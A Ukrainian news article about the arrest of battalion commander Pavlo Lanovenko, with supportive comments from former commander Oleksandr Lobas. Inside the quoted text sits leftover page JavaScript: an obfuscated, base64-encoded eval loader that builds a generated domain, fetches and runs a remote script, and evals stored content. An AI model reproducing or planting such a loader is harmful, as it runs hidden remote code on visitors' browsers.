Народний герой України, депутат Запорізької міської ради, підполковник Олександр Лобас висловив власну думку щодо подій навколо арешту комбату 37-го батальону Павла Лановенка, якого звинувачують у побитті війсковослужбовця, що був у стані наркотичного сп’яніння.
Офіцера Павла Лановенка («Морпіх»)затримали нібито за завдавання тілесних уражень бійцю, який перебував на позиції під дією наркотичних речовин, що сам і підтвердив згодом. Однак із вечора суботи Павло Лановенко, позивний Морпіх, ув’язнений на гауптвахті в Краматорську.
Ця історія почалася минулого тижня. На одній з позицій на околиці Донецька, де зараз перебуває 37-ий батальйон, Морпіх побачив бійця в неадекватному стані. Зрозуміло, командир обурився цим фактом, почав розпитувати бійця, що саме він вживав. Той не приховував, що приймав наркотичні речовини. Після розмови з бійцем на підвищених тонах Морпіх продовжив оглядати позицію. Наступного дня йому доповіли, що той боєць погано почувається. Його відправили в лікарню Авдіївки, звідки його відправили у військовий шпиталь. Там виявили, що у нього відбита селезінка. І він заявив, що це його побив комбат. Підключилися ДБР та прокуратура. В оезультаті, незважаючи на відсутність показів свідків проти Лановенка а також те, що він сам прибув до суду за викликом, його ув’язнили на 30 діб.
Павло Лановенко (Морпіх)
Ось як прокоментував події перший комбат 37-го запорізького батальону, Народний герой України, депутат Запорізької міської ради Олександр Лобас:
-Раніше я з Павлом Лановенком знайомий не був, — говорить Народний герой України, депутат Запорізької міської ради, підполковник Олександр Лобас. – Але після його призначення комбатом батальйону, яким свого часу керував я, ми познайомилися. Я приїхав до нього разом з іншими побратимами. Якийсь час придивлявся до цього молодого офіцера, який до війни не служив в армії, і він все більше мені подобався. Він вміє ухвалювати рішення і брати на себе відповідальність. На це здатні далеко не всі. Крім того, я бачив, що у нього всюди порядок. Він слідкує, щоб бійцям було де помитися, щоб їх смачно годували.
Коли батальйон зайшов на лінію вогню, я також приїхав до Павла. Декілька днів провів у підрозділі. Ми ходили на позиції. І я був вражений тим, як працювали бійці, як командир продумав нові позиції. Вони стільки прокапали, в такі місця! Оце справжня робота на війні. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Роззнайомившись із Павлом, переконавшись в тому, що він гідно продовжує започатковані традиції, що під його керівництвом залишаються служити бійці, які прийшли ще у 2014 році і поважають його, я передав йому реліквію нашого батальйону. У 2015 році після нашого виходу з-під Широкиного на полігон представники Запорізького козацтва прийняли особовий склад до лав козаків, а мені вручили шаблю на знак того, що батальйон – козацький. От її я передав Павлу, аби він продовжував започатковані ще тоді традиції.
Щодо цієї ситуації… Скажу так. Армія стала заручницею військкоматів, які набирають на контракт часто-густо пияків та наркоманів, не роблячи відбір. І звільнити їх потім, упіймавши на гарячому, не так просто, як може здатися. Це ціла процедура. Потрібно встановити причинно-наслідкові процеси того, що сталося. І якщо той боєць справді був на передовій в наркотичному стані, він наражав на небезпеку тих, хто поряд. Сподіваюся, уже найближчим часом в ситуації розберуться об’єктивно та неупереджено.
Справка. 37-ий батальйон «Запоріжжя» було засновано 4 вересня 2014 року. Його командиром став майор запасу Олександр Лобас. Підрозділ на початках складався із добровольців. Після бойової підготовки він вирушив в Донецьку область, перші бої прийняв біля Донецького аеропорту. Бійці підрозділу відзначилися у боях під Дебальцевим, на околицях Маріуполя.
Джерело Цензор.Нет. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/oleksandr-lobas-vislovivsya-pro-aresht-kombata-37-go-batalonu-pavla-lanovenka/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
